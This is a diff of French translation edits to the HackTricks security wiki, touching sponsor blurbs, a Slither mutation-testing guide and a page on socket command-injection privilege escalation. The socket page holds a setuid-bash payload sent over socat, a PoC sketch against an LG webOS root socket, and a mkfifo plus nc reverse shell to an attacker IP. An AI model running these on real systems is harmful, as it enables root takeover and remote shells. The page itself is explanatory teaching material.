Translated ['', 'src/network-services-pentesting/pentesting-web/ruby-tri

src/README.md

@@ -2,7 +2,7 @@
 
 <figure><img src="images/hacktricks.gif" alt=""><figcaption></figcaption></figure>
 
-_Hacktricks logos et motion design par_ [_@ppieranacho_](https://www.instagram.com/ppieranacho/)._ 
+_Logos Hacktricks et motion design par_ [_@ppieranacho_](https://www.instagram.com/ppieranacho/)_._
 
 ### Exécuter HackTricks localement
 ```bash
@@ -31,19 +31,19 @@ export LANG="master" # Leave master for english
 # Run the docker container indicating the path to the hacktricks folder
 docker run -d --rm --platform linux/amd64 -p 3337:3000 --name hacktricks -v $(pwd)/hacktricks:/app ghcr.io/hacktricks-wiki/hacktricks-cloud/translator-image bash -c "mkdir -p ~/.ssh && ssh-keyscan -H github.com >> ~/.ssh/known_hosts && cd /app && git config --global --add safe.directory /app && git checkout $LANG && git pull && MDBOOK_PREPROCESSOR__HACKTRICKS__ENV=dev mdbook serve --hostname 0.0.0.0"
 ```
-Votre copie locale de HackTricks sera **available at [http://localhost:3337](http://localhost:3337)** après moins de 5 minutes (il doit construire le livre, soyez patient).
+Votre copie locale de HackTricks sera **available at [http://localhost:3337](http://localhost:3337)** après <5 minutes (il doit construire le book, soyez patient).
 
-## Sponsors Corporatifs
+## Corporate Sponsors
 
 ### [STM Cyber](https://www.stmcyber.com)
 
 <figure><img src="images/stm (1).png" alt=""><figcaption></figcaption></figure>
 
-[**STM Cyber**](https://www.stmcyber.com) est une excellente entreprise de cybersécurité dont le slogan est **HACK THE UNHACKABLE**. Ils réalisent leurs propres recherches et développent leurs propres outils de hacking pour **offrir plusieurs services cybersécurité de grande valeur** tels que pentesting, Red teams et formations.
+[**STM Cyber**](https://www.stmcyber.com) est une excellente entreprise de cybersécurité dont le slogan est **HACK THE UNHACKABLE**. Ils réalisent leurs propres recherches et développent leurs propres outils de hacking pour **offrir plusieurs services de cybersécurité précieux** comme pentesting, Red teams et training.
 
 Vous pouvez consulter leur **blog** sur [**https://blog.stmcyber.com**](https://blog.stmcyber.com)
 
-**STM Cyber** soutient aussi des projets open source en cybersécurité comme HackTricks :)
+**STM Cyber** soutient également des projets open source en cybersécurité comme HackTricks :)
 
 ---
 
@@ -51,7 +51,7 @@ Vous pouvez consulter leur **blog** sur [**https://blog.stmcyber.com**](https://
 
 <figure><img src="images/image (45).png" alt=""><figcaption></figcaption></figure>
 
-[**RootedCON**](https://www.rootedcon.com) est l'événement de cybersécurité le plus important en **Espagne** et l'un des plus influents en **Europe**. Avec **la mission de promouvoir le savoir-faire technique**, ce congrès est un point de rencontre bouillonnant pour les professionnels de la technologie et de la cybersécurité de toutes disciplines.
+[**RootedCON**](https://www.rootedcon.com) est l'événement de cybersécurité le plus pertinent en **Espagne** et l'un des plus importants en **Europe**. Avec **la mission de promouvoir le savoir-faire technique**, ce congrès est un point de rencontre bouillonnant pour les professionnels de la technologie et de la cybersécurité dans toutes les disciplines.
 
 {{#ref}}
 https://www.rootedcon.com/
@@ -63,9 +63,9 @@ https://www.rootedcon.com/
 
 <figure><img src="images/image (47).png" alt=""><figcaption></figcaption></figure>
 
-**Intigriti** est la plateforme de bug bounty n°1 en Europe et dédiée à l'ethical hacking.
+**Intigriti** est **Europe's #1** ethical hacking and **bug bounty platform.**
 
-**Bug bounty tip** : **inscrivez-vous** sur **Intigriti**, une plateforme premium de bug bounty créée par des hackers, pour des hackers ! Rejoignez-nous sur [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) dès aujourd'hui, et commencez à gagner des primes jusqu'à **$100,000** !
+Astuce bug bounty : **sign up** for **Intigriti**, une plateforme bug bounty premium **créée par des hackers, pour des hackers** ! Rejoignez-nous sur [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) dès aujourd'hui, et commencez à gagner des bounties jusqu'à **$100,000**!
 
 {{#ref}}
 https://go.intigriti.com/hacktricks
@@ -92,13 +92,13 @@ https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktr
 
 <figure><img src="images/image (3).png" alt=""><figcaption></figcaption></figure>
 
-Rejoignez le serveur [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) pour échanger avec des hackers expérimentés et des chasseurs de bug bounty !
+Rejoignez le serveur [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) pour communiquer avec des hackers expérimentés et des bug bounty hunters !
 
-- **Hacking Insights :** Participez à du contenu qui explore l'excitation et les défis du hacking
-- **Real-Time Hack News :** Restez à jour avec l'actualité du monde du hacking en temps réel
-- **Latest Announcements :** Soyez informé des derniers bug bounties lancés et des mises à jour cruciales des plateformes
+- **Hacking Insights :** Participez à du contenu qui explore le frisson et les défis du hacking
+- **Real-Time Hack News :** Restez à jour avec le monde du hacking via des news et insights en temps réel
+- **Latest Announcements :** Soyez informé des nouveaux bug bounties lancés et des mises à jour cruciales des plateformes
 
-**Rejoignez-nous sur** [**Discord**](https://discord.com/invite/N3FrSbmwdy) et commencez à collaborer avec des hackers de haut niveau dès aujourd'hui !
+**Join us on** [**Discord**](https://discord.com/invite/N3FrSbmwdy) et commencez à collaborer avec les meilleurs hackers dès aujourd'hui !
 
 ---
 
@@ -106,9 +106,9 @@ Rejoignez le serveur [**HackenProof Discord**](https://discord.com/invite/N3FrSb
 
 <figure><img src="images/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
 
-**Obtenez le point de vue d'un hacker sur vos applications web, votre réseau et votre cloud**
+**Obtenez la perspective d'un hacker sur vos web apps, votre réseau et le cloud**
 
-**Trouvez et signalez des vulnérabilités critiques et exploitables ayant un impact réel sur l'entreprise.** Utilisez nos 20+ outils personnalisés pour cartographier la surface d'attaque, détecter des problèmes de sécurité permettant une escalation de privilèges, et utiliser des exploits automatisés pour collecter des preuves essentielles, transformant votre travail en rapports convaincants.
+**Trouvez et signalez des vulnérabilités critiques et exploitables ayant un impact réel sur le business.** Utilisez nos 20+ outils personnalisés pour cartographier la surface d'attaque, trouver des problèmes de sécurité permettant d'escalader des privilèges, et utiliser des exploits automatisés pour collecter des preuves essentielles, transformant votre travail en rapports convaincants.
 
 {{#ref}}
 https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons
@@ -120,14 +120,14 @@ https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktrick
 
 <figure><img src="images/image (1254).png" alt=""><figcaption></figcaption></figure>
 
-**SerpApi** propose des APIs rapides et faciles en temps réel pour **accéder aux résultats des moteurs de recherche**. Ils scrappent les moteurs de recherche, gèrent les proxies, résolvent les captchas et parsèment toutes les données structurées riches pour vous.
+**SerpApi** propose des APIs en temps réel rapides et faciles pour **accéder aux résultats des moteurs de recherche**. Ils scrappent les moteurs de recherche, gèrent les proxies, résolvent les captchas, et parse toutes les données structurées riches pour vous.
 
-Un abonnement à l'un des plans de SerpApi inclut l'accès à plus de 50 APIs différentes pour scraper différents moteurs de recherche, y compris Google, Bing, Baidu, Yahoo, Yandex, et plus encore.\
-Contrairement à d'autres fournisseurs, **SerpApi ne scrappe pas seulement les résultats organiques**. Les réponses SerpApi incluent systématiquement toutes les publicités, images et vidéos en ligne, knowledge graphs et autres éléments présents dans les résultats de recherche.
+Un abonnement à l'un des plans de SerpApi inclut l'accès à plus de 50 APIs différentes pour scraper différents moteurs de recherche, y compris Google, Bing, Baidu, Yahoo, Yandex, et plus.\
+Contrairement à d'autres fournisseurs, **SerpApi ne se contente pas de scraper les résultats organiques**. Les réponses SerpApi incluent systématiquement toutes les annonces, images et vidéos inline, knowledge graphs, et autres éléments et fonctionnalités présents dans les résultats de recherche.
 
 Parmi les clients actuels de SerpApi figurent **Apple, Shopify, et GrubHub**.\
 Pour plus d'informations, consultez leur [**blog**](https://serpapi.com/blog/)**,** ou essayez un exemple dans leur [**playground**](https://serpapi.com/playground)**.**\
-Vous pouvez **créer un compte gratuit** [**ici**](https://serpapi.com/users/sign_up)**.**
+Vous pouvez **create a free account** [**here**](https://serpapi.com/users/sign_up)**.**
 
 ---
 
@@ -135,7 +135,7 @@ Vous pouvez **créer un compte gratuit** [**ici**](https://serpapi.com/users/sig
 
 <figure><img src="images/image (2).png" alt=""><figcaption></figcaption></figure>
 
-Apprenez les technologies et compétences requises pour mener des recherches de vulnérabilités, du penetration testing et du reverse engineering afin de protéger les applications et appareils mobiles. **Maîtrisez la sécurité iOS et Android** grâce à nos cours à la demande et **obtenez une certification** :
+Apprenez les technologies et compétences requises pour effectuer de la recherche de vulnérabilités, du penetration testing, et du reverse engineering afin de protéger les applications et appareils mobiles. **Maîtrisez la sécurité iOS et Android** grâce à nos cours on-demand et **obtenez une certification** :
 
 {{#ref}}
 https://academy.8ksec.io/
@@ -147,13 +147,13 @@ https://academy.8ksec.io/
 
 <figure><img src="images/websec (1).svg" alt=""><figcaption></figcaption></figure>
 
-[**WebSec**](https://websec.net) est une société professionnelle de cybersécurité basée à **Amsterdam** qui aide à **protéger** des entreprises **dans le monde entier** contre les menaces de cybersécurité les plus récentes en fournissant des **offensive-security services** avec une approche **moderne**.
+[**WebSec**](https://websec.net) est une entreprise professionnelle de cybersécurité basée à **Amsterdam** qui aide à **protéger** les entreprises **dans le monde entier** contre les dernières menaces de cybersécurité en fournissant des **offensive-security services** avec une approche **moderne**.
 
-WebSec est une société de sécurité internationale avec des bureaux à Amsterdam et Wyoming. Ils offrent des **all-in-one security services**, ce qui signifie qu'ils couvrent tout : Pentesting, **Security** Audits, Awareness Trainings, Phishing Campagnes, Code Review, Exploit Development, Security Experts Outsourcing et bien plus.
+WebSec est une société de sécurité internationale avec des bureaux à Amsterdam et Wyoming. Ils offrent des **all-in-one security services** ce qui signifie qu'ils font tout ; Pentesting, **Security** Audits, Awareness Trainings, Phishing Campagnes, Code Review, Exploit Development, Security Experts Outsourcing et bien plus.
 
-Autre point positif concernant WebSec : contrairement à la moyenne du secteur, WebSec a **une grande confiance en ses compétences**, à tel point qu'ils **garantissent les meilleurs résultats**, comme indiqué sur leur site : "**If we can't hack it, You don't pay it!**". Pour plus d'infos, consultez leur [**website**](https://websec.net/en/) et leur [**blog**](https://websec.net/blog/) !
+Autre point intéressant concernant WebSec : contrairement à la moyenne de l'industrie, WebSec est **très confiant dans ses compétences**, à tel point qu'ils **garantissent les meilleurs résultats**, comme indiqué sur leur site "**If we can't hack it, You don't pay it!**". Pour plus d'infos, jetez un œil à leur [**website**](https://websec.net/en/) et à leur [**blog**](https://websec.net/blog/)!
 
-En plus de ce qui précède, WebSec est également un **sponsor engagé de HackTricks.**
+En plus de ce qui précède, WebSec est également un **soutien engagé de HackTricks.**
 
 {{#ref}}
 https://www.youtube.com/watch?v=Zq2JycGDCPM
@@ -166,9 +166,9 @@ https://www.youtube.com/watch?v=Zq2JycGDCPM
 <figure><img src="images/venacus-logo.svg" alt="venacus logo"><figcaption></figcaption></figure>
 
 [**Venacus**](https://venacus.com/?utm_medium=link&utm_source=hacktricks&utm_campaign=spons) est un moteur de recherche de data breach (leak). \
-Nous offrons une recherche par chaîne aléatoire (comme google) sur tous types de data leaks, grands et petits --pas seulement les gros-- sur des données issues de multiples sources. \
-Recherche de personnes, recherche AI, recherche d'organisations, API (OpenAPI) access, intégration theHarvester, toutes les fonctionnalités dont un pentester a besoin.\
-**HackTricks reste une excellente plateforme d'apprentissage pour nous tous et nous sommes fiers de la sponsoriser !**
+Nous fournissons une recherche de chaînes aléatoires (comme google) sur tous types de data leaks, grands et petits --pas seulement les gros-- à partir de données provenant de multiples sources. \
+Recherche de personnes, recherche AI, recherche d'organisation, API (OpenAPI) access, intégration theHarvester, toutes les fonctionnalités dont un pentester a besoin.\
+**HackTricks continue d'être une excellente plateforme d'apprentissage pour nous tous et nous sommes fiers d'en être sponsor !**
 
 {{#ref}}
 https://venacus.com/?utm_medium=link&utm_source=hacktricks&utm_campaign=spons
@@ -182,12 +182,12 @@ https://venacus.com/?utm_medium=link&utm_source=hacktricks&utm_campaign=spons
 
 
 **Built for the field. Built around you.**\
-[**Cyber Helmets**](https://cyberhelmets.com/?ref=hacktricks) conçoit et délivre des formations en cybersécurité efficaces, construites et animées par des experts du secteur. Leurs programmes vont au-delà de la théorie pour doter les équipes d'une compréhension approfondie et de compétences opérationnelles, en utilisant des environnements personnalisés reflétant des menaces réelles. Pour des demandes de formation sur mesure, contactez-nous [**ici**](https://cyberhelmets.com/tailor-made-training/?ref=hacktricks).
+[**Cyber Helmets**](https://cyberhelmets.com/?ref=hacktricks) conçoit et délivre des formations en cybersécurité efficaces, construites et dirigées par des experts du secteur. Leurs programmes vont au-delà de la théorie pour équiper les équipes d'une compréhension approfondie et de compétences actionnables, en utilisant des environnements personnalisés reflétant des menaces réelles. Pour des demandes de formation sur mesure, contactez-nous [**ici**](https://cyberhelmets.com/tailor-made-training/?ref=hacktricks).
 
 **Ce qui distingue leurs formations :**
-* Contenu et labs personnalisés
-* Soutenu par des outils et plateformes de premier plan
-* Conçu et enseigné par des praticiens
+* Custom-built content and labs
+* Backed by top-tier tools and platforms
+* Designed and taught by practitioners
 
 {{#ref}}
 https://cyberhelmets.com/courses/?ref=hacktricks
@@ -199,13 +199,13 @@ https://cyberhelmets.com/courses/?ref=hacktricks
 
 <figure><img src="images/lasttower.png" alt="lasttower logo"><figcaption></figcaption></figure>
 
-Last Tower Solutions fournit des services cybersécurité spécialisés pour les institutions de **Education** et **FinTech**, avec un focus sur le **penetration testing, cloud security assessments**, et la **préparation à la conformité** (SOC 2, PCI-DSS, NIST). Notre équipe inclut des professionnels certifiés **OSCP et CISSP**, apportant une expertise technique approfondie et des connaissances conformes aux standards du secteur à chaque mission.
+Last Tower Solutions fournit des services de cybersécurité spécialisés pour les institutions de **l'Education** et de la **FinTech**, avec un focus sur **penetration testing, cloud security assessments**, et **compliance readiness** (SOC 2, PCI-DSS, NIST). Notre équipe inclut des professionnels **certifiés OSCP et CISSP**, apportant une expertise technique approfondie et un aperçu conforme aux standards de l'industrie pour chaque mission.
 
-Nous allons au-delà des scans automatisés avec des **tests manuels, basés sur le renseignement**, adaptés à des environnements à enjeux élevés. De la sécurisation des dossiers étudiants à la protection des transactions financières, nous aidons les organisations à défendre ce qui compte le plus.
+Nous allons au-delà des scans automatisés avec des **tests manuels, intelligence-driven** adaptés aux environnements à enjeux élevés. De la protection des dossiers étudiants à la sécurisation des transactions financières, nous aidons les organisations à défendre ce qui compte le plus.
 
-_« Une défense de qualité nécessite de connaître l'offensive, nous apportons la sécurité par la compréhension. »_
+_“A quality defense requires knowing the offense, we provide security through understanding.”_
 
-Restez informé des dernières actualités en cybersécurité en visitant leur [**blog**](https://www.lasttowersolutions.com/blog).
+Restez informés et à jour avec les dernières actualités en cybersécurité en visitant notre [**blog**](https://www.lasttowersolutions.com/blog).
 
 {{#ref}}
 https://www.lasttowersolutions.com/
@@ -215,11 +215,11 @@ https://www.lasttowersolutions.com/
 
 ### [K8Studio - The Smarter GUI to Manage Kubernetes.](https://k8studio.io/)
 
-<figure><img src="images/k8studio.png" alt="k8studio logo"><figcaption></figcaption></figure>
+<figure><img src="images/k8studio.jpg" alt="k8studio logo"><figcaption></figcaption></figure>
 
-K8Studio IDE permet aux DevOps, DevSecOps et développeurs de gérer, surveiller et sécuriser efficacement les clusters Kubernetes. Profitez de nos insights pilotés par l'IA, d'un framework de sécurité avancé et de l'interface CloudMaps GUI pour visualiser vos clusters, comprendre leur état et agir en toute confiance.
+K8Studio IDE permet aux DevOps, DevSecOps et développeurs de gérer, monitorer et sécuriser les clusters Kubernetes efficacement. Profitez de nos insights AI-driven, d'un cadre de sécurité avancé, et d'une GUI CloudMaps intuitive pour visualiser vos clusters, comprendre leur état, et agir en toute confiance.
 
-De plus, K8Studio est **compatible avec toutes les distributions kubernetes majeures** (AWS, GCP, Azure, DO, Rancher, K3s, Openshift and more).
+De plus, K8Studio est **compatible with all major kubernetes distributions** (AWS, GCP, Azure, DO, Rancher, K3s, Openshift and more).
 
 {{#ref}}
 https://k8studio.io/

src/SUMMARY.md

@@ -950,4 +950,4 @@
 - [Stealing Sensitive Information Disclosure from a Web](todo/stealing-sensitive-information-disclosure-from-a-web.md)
 - [Post Exploitation](todo/post-exploitation.md)
 - [Investment Terms](todo/investment-terms.md)
-- [Cookies Policy](todo/cookies-policy.md)
+- [Cookies Policy](todo/cookies-policy.md)

src/blockchain/smart-contract-security/mutation-testing-with-slither.md

@@ -1,10 +1,10 @@
-# Mutation Testing for Solidity with Slither (slither-mutate)
+# Test de mutation pour Solidity avec Slither (slither-mutate)
 
 {{#include ../../banners/hacktricks-training.md}}
 
-La mutation testing « teste vos tests » en introduisant systématiquement de petits changements (mutants) dans votre code Solidity et en relançant votre suite de tests. Si un test échoue, le mutant est tué. Si les tests passent encore, le mutant survit, révélant un point aveugle dans votre suite de tests que la couverture de lignes/branches ne peut pas détecter.
+Le test de mutation "teste vos tests" en introduisant systématiquement de petites modifications (mutants) dans votre code Solidity et en relançant votre suite de tests. Si un test échoue, le mutant est tué. Si les tests passent toujours, le mutant survit, révélant un point aveugle dans votre suite de tests que la couverture de lignes/branches ne peut pas détecter.
 
-Idée clé : la couverture montre que le code a été exécuté ; la mutation testing montre si le comportement est réellement asserté.
+Idée clé : la couverture montre que le code a été exécuté ; le test de mutation montre si le comportement est réellement vérifié.
 
 ## Pourquoi la couverture peut être trompeuse
 
@@ -18,39 +18,39 @@ return false;
 }
 }
 ```
-Les tests unitaires qui ne vérifient qu'une valeur en dessous et une valeur au‑dessus du seuil peuvent atteindre 100 % de couverture de lignes/branches tout en n'assertant pas la frontière d'égalité (==). Un refactor vers `deposit >= 2 ether` passerait toujours ces tests, cassant silencieusement la logique du protocole.
+Les tests unitaires qui ne vérifient qu'une valeur en dessous et une valeur au-dessus du seuil peuvent atteindre 100% de couverture ligne/branche tout en omettant d'assertion la frontière d'égalité (==). Un refactor vers `deposit >= 2 ether` réussirait toujours ces tests, brisant silencieusement la logique du protocole.
 
-Mutation testing met en évidence ce vide en modifiant la condition et en vérifiant que vos tests échouent.
+La mutation testing expose cette faille en mutant la condition et en vérifiant que vos tests échouent.
 
 ## Opérateurs de mutation Solidity courants
 
 Le moteur de mutation de Slither applique de nombreuses petites modifications changeant la sémantique, telles que :
-- Remplacement d'opérateur: `+` ↔ `-`, `*` ↔ `/`, etc.
-- Remplacement d'affectation: `+=` → `=`, `-=` → `=`
-- Remplacement de constantes: non nul → `0`, `true` ↔ `false`
-- Négation/remplacement de condition dans les `if`/boucles
+- Remplacement d'opérateur : `+` ↔ `-`, `*` ↔ `/`, etc.
+- Remplacement d'affectation : `+=` → `=`, `-=` → `=`
+- Remplacement de constante : non-zéro → `0`, `true` ↔ `false`
+- Négation/remplacement de condition à l'intérieur des `if`/boucles
 - Commenter des lignes entières (CR: Comment Replacement)
 - Remplacer une ligne par `revert()`
-- Échanges de types de données : p.ex., `int128` → `int64`
+- Échanges de type de données : p.ex., `int128` → `int64`
 
-Objectif : éliminer 100 % des mutants générés, ou justifier les survivants avec un raisonnement clair.
+Objectif : tuer 100% des mutants générés, ou justifier les survivants avec un raisonnement clair.
 
-## Lancer mutation testing avec slither-mutate
+## Exécuter la mutation testing avec slither-mutate
 
 Prérequis : Slither v0.10.2+.
 
-- Lister les options et les mutateurs :
+- Lister les options et les mutators :
 ```bash
 slither-mutate --help
 slither-mutate --list-mutators
 ```
-- Exemple Foundry (capturer les résultats et conserver un journal complet):
+- Exemple avec Foundry (capturer les résultats et conserver un journal complet):
 ```bash
 slither-mutate ./src/contracts --test-cmd="forge test" &> >(tee mutation.results)
 ```
-- Si vous n'utilisez pas Foundry, remplacez `--test-cmd` par la façon dont vous exécutez les tests (par ex., `npx hardhat test`, `npm test`).
+- Si vous n'utilisez pas Foundry, remplacez `--test-cmd` par la commande que vous utilisez pour exécuter les tests (p. ex., `npx hardhat test`, `npm test`).
 
-Les artefacts et rapports sont stockés dans `./mutation_campaign` par défaut. Les mutants non capturés (survivants) y sont copiés pour examen.
+Les artifacts et rapports sont stockés dans `./mutation_campaign` par défaut. Les mutants non interceptés (survivants) y sont copiés pour inspection.
 
 ### Comprendre la sortie
 
@@ -59,55 +59,55 @@ Les lignes du rapport ressemblent à :
 INFO:Slither-Mutate:Mutating contract ContractName
 INFO:Slither-Mutate:[CR] Line 123: 'original line' ==> '//original line' --> UNCAUGHT
 ```
-- Le tag entre crochets est l'alias du mutateur (par exemple, `CR` = Comment Replacement).
-- `UNCAUGHT` signifie que les tests ont réussi sous le comportement muté → assertion manquante.
+- Le tag entre crochets est l'alias du mutator (e.g., `CR` = Comment Replacement).
+- `UNCAUGHT` signifie que les tests sont passés sous le comportement muté → assertion manquante.
 
-## Réduction du temps d'exécution : prioriser les mutants ayant un impact
+## Reducing runtime: prioritize impactful mutants
 
-Les campagnes de mutation peuvent durer des heures ou des jours. Conseils pour réduire le coût :
-- Périmètre : commencez uniquement par les contrats/répertoires critiques, puis élargissez.
-- Prioriser les mutateurs : si un mutant à haute priorité sur une ligne survit (par ex., toute la ligne commentée), vous pouvez ignorer les variantes de moindre priorité pour cette ligne.
-- Parallélisez les tests si votre runner le permet ; mettez en cache les dépendances/builds.
-- Fail-fast : arrêtez tôt lorsqu'un changement démontre clairement un défaut d'assertion.
+Les campagnes de mutation peuvent prendre des heures ou des jours. Conseils pour réduire le coût :
+- Scope : Commencez par les contrats/répertoires critiques uniquement, puis étendez.
+- Prioritize mutators : si un mutant à haute priorité sur une ligne survit (p.ex., ligne entière commentée), vous pouvez ignorer les variantes de moindre priorité pour cette ligne.
+- Parallelize tests si votre runner le permet ; mettez en cache dependencies/builds.
+- Fail-fast : arrêtez tôt lorsqu'un changement met clairement en évidence une faille d'assertion.
 
-## Flux de triage pour les mutants survivants
+## Triage workflow for surviving mutants
 
-1) Inspectez la ligne mutée et le comportement.
+1) Inspect the mutated line and behavior.
 - Reproduisez localement en appliquant la ligne mutée et en exécutant un test ciblé.
 
-2) Renforcez les tests pour vérifier l'état, pas seulement les valeurs de retour.
-- Ajoutez des checks de frontière d'égalité (par ex., test du seuil `==`).
-- Affirmez les post-conditions : soldes, total supply, effets d'autorisation et événements émis.
+2) Strengthen tests to assert state, not only return values.
+- Ajoutez des vérifications de bornes d'égalité (p.ex., vérifier le seuil `==`).
+- Affirmez les post-conditions : soldes, offre totale, effets d'autorisation, et événements émis.
 
-3) Remplacez les mocks trop permissifs par un comportement réaliste.
-- Assurez-vous que les mocks imposent les transferts, les chemins d'échec et les émissions d'événements qui se produisent on-chain.
+3) Replace overly permissive mocks with realistic behavior.
+- Assurez-vous que les mocks imposent les transferts, les chemins d'échec, et les émissions d'événements qui se produisent on-chain.
 
-4) Ajoutez des invariants pour les fuzz tests.
-- Ex. : conservation de la valeur, soldes non négatifs, invariants d'autorisation, monotonic supply lorsque applicable.
+4) Add invariants for fuzz tests.
+- Ex. conservation de la valeur, soldes non négatifs, invariants d'autorisation, offre monotone lorsque applicable.
 
-5) Relancez slither-mutate jusqu'à ce que les survivants soient éliminés ou justifiés explicitement.
+5) Re-run slither-mutate until survivors are killed or explicitly justified.
 
-## Étude de cas : révélant des assertions d'état manquantes (Arkis protocol)
+## Case study: revealing missing state assertions (Arkis protocol)
 
-Une campagne de mutation lors d'un audit du Arkis DeFi protocol a fait apparaître des survivants tels que :
+Une campagne de mutation lors d'un audit du Arkis DeFi protocol a mis en évidence des survivants tels que :
 ```text
 INFO:Slither-Mutate:[CR] Line 33: 'cmdsToExecute.last().value = _cmd.value' ==> '//cmdsToExecute.last().value = _cmd.value' --> UNCAUGHT
 ```
-Le fait de commenter l'assignation n'a pas cassé les tests, ce qui prouve l'absence d'assertions post-état. Cause racine : le code faisait confiance à un `_cmd.value` contrôlé par l'utilisateur au lieu de valider les transferts réels de tokens. Un attaquant pourrait désynchroniser les transferts attendus et réels pour siphonner des fonds. Résultat : risque de gravité élevée pour la solvabilité du protocole.
+Commenter l'assignation n'a pas cassé les tests, prouvant l'absence d'assertions sur l'état final. Cause racine : le code faisait confiance à `_cmd.value` contrôlé par l'utilisateur au lieu de valider les transferts de tokens réels. Un attaquant pouvait désynchroniser les transferts attendus et réels pour vider des fonds. Conséquence : risque de haute gravité pour la solvabilité du protocole.
 
-Conseil : Traitez les mutants survivants qui affectent les transferts de valeur, la comptabilité ou le contrôle d'accès comme à haut risque tant qu'ils ne sont pas tués.
+Conseil : Traitez les mutants survivants qui affectent les transferts de valeur, la comptabilité ou le contrôle d'accès comme à haut risque tant qu'ils ne sont pas éliminés.
 
 ## Checklist pratique
 
 - Lancez une campagne ciblée :
 - `slither-mutate ./src/contracts --test-cmd="forge test"`
-- Triez les mutants survivants et écrivez des tests/invariants qui échoueraient sous le comportement muté.
-- Vérifiez les soldes, l'offre, les autorisations et les événements.
-- Ajoutez des tests de limites (`==`, débordements/sous-dépassements, adresse nulle, montant nul, tableaux vides).
-- Remplacez les mocks irréalistes ; simulez les modes de défaillance.
-- Itérez jusqu'à ce que tous les mutants soient tués ou justifiés avec des commentaires et une justification.
+- Trier les survivants et écrire des tests/invariants qui échoueraient avec le comportement muté.
+- Vérifiez les soldes, l'offre totale, les autorisations et les événements.
+- Ajoutez des tests limites (`==`, overflows/underflows, zero-address, zero-amount, empty arrays).
+- Remplacez les mocks irréalistes ; simulez des modes de défaillance.
+- Itérez jusqu'à ce que tous les mutants soient éliminés ou justifiés par des commentaires et une explication.
 
-## Références
+## References
 
 - [Use mutation testing to find the bugs your tests don't catch (Trail of Bits)](https://blog.trailofbits.com/2025/09/18/use-mutation-testing-to-find-the-bugs-your-tests-dont-catch/)
 - [Arkis DeFi Prime Brokerage Security Review (Appendix C)](https://github.com/trailofbits/publications/blob/master/reviews/2024-12-arkis-defi-prime-brokerage-securityreview.pdf)

src/linux-hardening/privilege-escalation/socket-command-injection.md

@@ -2,9 +2,9 @@
 
 {{#include ../../banners/hacktricks-training.md}}
 
-## Exemple de Socket binding avec Python
+## Socket binding example with Python
 
-Dans l'exemple suivant, un **unix socket est créé** (`/tmp/socket_test.s`) et tout ce qui est **reçu** sera **exécuté** par `os.system`. Je sais que vous n'allez pas trouver ça dans la nature, mais l'objectif de cet exemple est de montrer à quoi ressemble un code utilisant des unix sockets et comment gérer l'entrée dans le pire des cas.
+Dans l'exemple suivant, un **unix socket est créé** (`/tmp/socket_test.s`) et tout ce qui est **reçu** sera **exécuté** par `os.system`. Je sais que vous n'allez pas trouver cela dans la nature, mais l'objectif de cet exemple est de voir à quoi ressemble un code utilisant des unix sockets, et comment gérer l'entrée dans le pire des cas possible.
 ```python:s.py
 import socket
 import os, os.path
@@ -26,7 +26,7 @@ print(datagram)
 os.system(datagram)
 conn.close()
 ```
-**Exécutez** le code avec python : `python s.py` et **vérifiez comment le socket est en écoute** :
+**Exécutez** le code avec python: `python s.py` et **vérifiez comment le socket est à l'écoute**:
 ```python
 netstat -a -p --unix | grep "socket_test"
 (Not all processes could be identified, non-owned process info
@@ -37,17 +37,17 @@ unix  2      [ ACC ]     STREAM     LISTENING     901181   132748/python
 ```python
 echo "cp /bin/bash /tmp/bash; chmod +s /tmp/bash; chmod +x /tmp/bash;" | socat - UNIX-CLIENT:/tmp/socket_test.s
 ```
-## Étude de cas : Root-owned UNIX socket signal-triggered escalation (LG webOS)
+## Étude de cas : élévation déclenchée par signal via un UNIX socket possédé par root (LG webOS)
 
-Certains daemons privilégiés exposent un root-owned UNIX socket qui accepte des entrées non fiables et associe des actions privilégiées à des thread-IDs et des signals. Si le protocole permet à un unprivileged client d'influencer quel native thread est ciblé, vous pouvez peut-être déclencher un chemin de code privilégié et escalader.
+Certains daemons privilégiés exposent un UNIX socket possédé par root qui accepte des entrées non fiables et associe des actions privilégiées à des IDs de thread natifs et à des signaux. Si le protocole permet à un client non privilégié d'influencer quel thread natif est ciblé, il est possible de déclencher un chemin de code privilégié et d'obtenir une élévation.
 
-Observed pattern:
-- Se connecter à un root-owned socket (e.g., /tmp/remotelogger).
-- Créer un thread et obtenir son native thread id (TID).
-- Envoyer le TID (packed) plus du padding en tant que requête ; recevoir un accusé de réception.
+Schéma observé :
+- Se connecter à un socket possédé par root (par ex., /tmp/remotelogger).
+- Créer un thread et obtenir son identifiant de thread natif (TID).
+- Envoyer le TID (packé) plus du padding en tant que requête ; recevoir un accusé de réception.
 - Envoyer un signal spécifique à ce TID pour déclencher le comportement privilégié.
 
-Minimal PoC sketch:
+Esquisse de PoC minimale:
 ```python
 import socket, struct, os, threading, time
 # Spawn a thread so we have a TID we can signal
@@ -59,14 +59,14 @@ s.sendall(struct.pack('<L', tid) + b'A'*0x80)
 s.recv(4)  # sync
 os.kill(tid, 4)  # deliver SIGILL (example from the case)
 ```
-Pour transformer cela en root shell, un simple schéma named-pipe + nc peut être utilisé :
+Pour transformer ceci en root shell, on peut utiliser un simple schéma named-pipe + nc :
 ```bash
 rm -f /tmp/f; mkfifo /tmp/f
 cat /tmp/f | /bin/sh -i 2>&1 | nc <ATTACKER-IP> 23231 > /tmp/f
 ```
-Notes :
-- Cette classe de bugs provient du fait de faire confiance à des valeurs dérivées de l'état client non privilégié (TIDs) et de les lier à des gestionnaires de signaux ou à de la logique privilégiée.
-- Durcir en appliquant des credentials sur la socket, en validant les formats de message, et en découplant les opérations privilégiées des thread identifiers fournis depuis l'extérieur.
+Remarques:
+- Cette classe de bugs provient de la confiance accordée à des valeurs dérivées de l'état client non privilégié (TIDs) et de leur liaison à des gestionnaires de signaux ou à une logique privilégiée.
+- Durcir en imposant des credentials sur le socket, en validant les formats de message, et en découplant les opérations privilégiées des identifiants de thread fournis par l'extérieur.
 
 ## Références
 

src/linux-hardening/privilege-escalation/vmware-tools-service-discovery-untrusted-search-path-cve-2025-41244.md

@@ -1,23 +1,23 @@
